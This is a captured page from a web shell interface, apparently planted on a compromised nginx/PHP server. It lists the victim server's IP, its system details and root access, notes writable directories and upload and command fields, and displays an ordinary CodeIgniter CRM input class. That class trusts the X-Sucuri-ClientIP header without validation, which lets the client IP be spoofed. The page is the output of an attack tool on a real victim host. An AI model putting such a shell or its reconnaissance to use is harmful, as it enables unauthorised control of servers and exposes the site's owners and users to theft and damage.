403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/wit-crm/application/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/wit-crm/application/core/App_Input.php
<?php

defined('BASEPATH') or exit('No direct script access allowed');

class App_Input extends CI_Input
{
    /**
     * Fetch the IP Address
     *
     * Determines and validates the visitor's IP address.
     *
     * @see  https://docs.sucuri.net/website-firewall/troubleshooting/same-ip-for-all-users/#codeigniter
     *
     * @return  string  IP address
     */
    public function ip_address()
    {
        if (isset($_SERVER['HTTP_X_SUCURI_CLIENTIP'])) {
            $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_SUCURI_CLIENTIP'];
        }

        return parent::ip_address();
    }

    /**
     * Validate IP Address
     *
     * @param   string  $ip IP address
     * @param   string  $which  IP protocol: 'ipv4' or 'ipv6'
     * @return  bool
     */
    public function valid_ip($ip, $which = '')
    {
        switch (strtolower($which)) {
            case 'ipv4':
                $which = FILTER_FLAG_IPV4;

                break;
            case 'ipv6':
                $which = FILTER_FLAG_IPV6;

                break;
            default:
                $which = 0;

                break;
        }

        return (bool) filter_var($ip, FILTER_VALIDATE_IP, $which);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit